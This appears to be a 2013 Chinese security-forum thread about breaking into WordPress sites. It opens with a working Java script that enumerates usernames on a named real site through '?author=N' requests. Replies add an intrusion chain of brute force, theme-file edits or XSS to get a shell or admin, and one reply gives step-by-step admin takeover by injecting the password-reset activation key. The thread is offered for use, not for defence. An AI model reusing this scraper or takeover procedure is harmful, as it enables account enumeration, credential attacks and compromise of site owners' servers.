先贴下我的抓取wordpress 用户脚本
import java.io.BufferedReader; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; /** * WordpressGetUser * Group 类 用于匹配和抓取 html页面的数据 * @author itleaf - http://blog.itleaf.info */ public class wpUserCollection { public static void main(String[] args) { int set=1116 ;//设定循环次数 int i=1; //for循环获得所有用户 for(i=1;i<=set;i++){ String strUrl = "http://drops.wooyun.org/?author="+i; try { URL url = new URL(strUrl); InputStreamReader isr = new InputStreamReader(url.openStream(),"utf-8"); // 统一使用utf-8 编码模式 // 使用 BufferedReader 来读取 InputStreamReader 转换成的字符 BufferedReader br = new BufferedReader(isr); String strRead = ""; // 新增一个空字符串strRead来装载 BufferedReader 读取到的内容 // 定义正则 用于匹配我们需要的数据 String regularUser = ">[^<>]*</title>"; // 创建一个GroupMethod类的对象 gMethod 方便后期调用其类里的 regularGroup方法 GroupMethod gMethod = new GroupMethod(); while ((strRead = br.readLine()) != null) { /** * 用于获取用户名 */ String strGet = gMethod.regularGroup(regularUser, strRead); if (!strGet.equals("")) { //这里同样用到了substring方法 来剔除'<' 和 "</a>" 标签 来获取我们想要结果 strGet = strGet.substring(1, strGet.indexOf(" ")); File file = new File("e://wpUser.txt"); FileWriter out =new FileWriter(file, true); out.write(strGet+"\r\n");//追加换行保存到 out.close(); System.out.println(strGet); } } br.close(); // 读取完成后关闭读取器 } catch (IOException e) { System.out.println("出错了,没有此用户!"); } } } }
import java.util.regex.Matcher; import java.util.regex.Pattern; public class GroupMethod { // 传入2个字符串参数 一个是pattern(我们使用的正则) 另一个matcher是html源代码 public String regularGroup(String pattern, String matcher) { Pattern p = Pattern.compile(pattern, Pattern.CASE_INSENSITIVE); Matcher m = p.matcher(matcher); if (m.find()) { // 如果读到 return m.group();// 返回捕获的数据 } else { return ""; // 否则返回一个空字符串 } } }
在没0day的情况下我的思路只有是搜集用户——爆破——爆破成功——改主题文件/上传主题包等——shell
不过有时会遇到/wp-admin/目录ip访问限制,bae、sae等环境就麻烦了~
不过在管理者跟编辑的权限下是可以贴script等标签的(如:评论框,target.com/wp-login.php即可登录,无法访问后台),之后我就不知到怎么玩了~
求交流~
相关讨论:
1#
无敌L.t.H (:?门安天京北爱我) | 2013-09-12 16:22
爆破……
2#
itleaf (? 你死晕) | 2013-09-12 16:24
@无敌L.t.H 当然可以结合社工库等...
3#
船长 (0day溢出大量放送,点击右边感谢,马上送出) | 2013-09-12 17:10
@itleaf 高端大气上档次
4#
Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-09-12 17:22
跟我一个思路
5#
erevus (我的乌云币都在小号上,小号不是绑定我QQ,别盗我号) | 2013-09-12 17:35
http://erevus.sinaapp.com/?p=401
6#
itleaf (? 你死晕) | 2013-09-12 17:54
@itleaf @Wdot @erevus 我这代码就是搜集wordpress用户名的....我的难处在
不过有时会遇到/wp-admin/目录ip访问限制,bae、sae等环境就麻烦了~
不过在管理者跟编辑的权限下是可以贴script等标签的(如:评论框,target.com/wp-login.php即可登录,无法访问后台),之后我就不知到怎么玩了~
我的思路:可以xss加wordpress管理员或者上传文件或者改默认主题404.php(在可写权限下)
不过仅仅思路而已~
7#
winsyk | 2013-09-12 18:42
这个思路比较老了。。
8#
落叶纷飞 (im luoye,Once the 00day) | 2013-09-12 19:34
又是一个经常做鹰犬任务的同行,哈哈
9#
中国公民 (拿shell容易,拖库难~) | 2013-09-12 19:37
wpscan不就什么都搞定了吗?
10#
Skull (第一次。) | 2013-09-12 19:37
kali linux 不是有么
11#
solihat (xxooooxx) | 2013-09-12 21:11
搜集用户,然后爆破或社工
wpscan
12#
微尘 | 2013-09-12 21:14
WP博客的漏洞不是都在插件吗
13#
dream | 2013-09-12 22:22
版本更新,旧版WordPress < 3.6.1 PHP Object Injection,
14#
Black.Key | 2013-09-12 22:30
一、寻找插件漏洞入手,因为wp本身的漏洞很少,而插件爆的漏洞却很多。各种注入,像之前的timthumb插件的爆的漏洞,直接可以拿到shell
二、社工,这个不多说
三、从数据库方面入手,因为管理员对mysql的漏洞一般打补丁都不及时
下面是拿到数据库,进后台的方法,缺点是没有隐蔽性。
wp的找回密码系统对管理员账户同样生效, 而发送至邮箱的key在数据库中同样保存下来, 所以就可以直接更改管理员密码。
步骤如下:
1、inject出wp-users表里ID为1[或许更改, 随机应变]的user_login或user_email; [未知管理员后台账户的情况下]
2、在wp-login.php处点击 ‘忘记密码’ [lost password],如果被隐藏或没有可以直接访问wp-login.php?action=lostpassword页面, 输入管理员账户或管理员邮箱, 点击’获取新密码’
3、再次inject出wp-users表里ID为1或目标值的user_activation_key
4、访问wp-login.php?action=rp&key=KEY&login=NAME
5、将KEY替换为注射出的user_activation_key的值, 将NAME替换为管理员账号并访问该页面
-例:http://test.com/wp-login.php?action=rp&key=ixUrwKCCycGqlGwWQ6vx&login=admin
15#
ACGT | 2013-09-12 23:10
同意楼上,应该先扫插件
16#
p00rworks | 2013-09-12 23:36
掃插件 相當坑爹!!!!!!!掃了n會 沒有成功過!!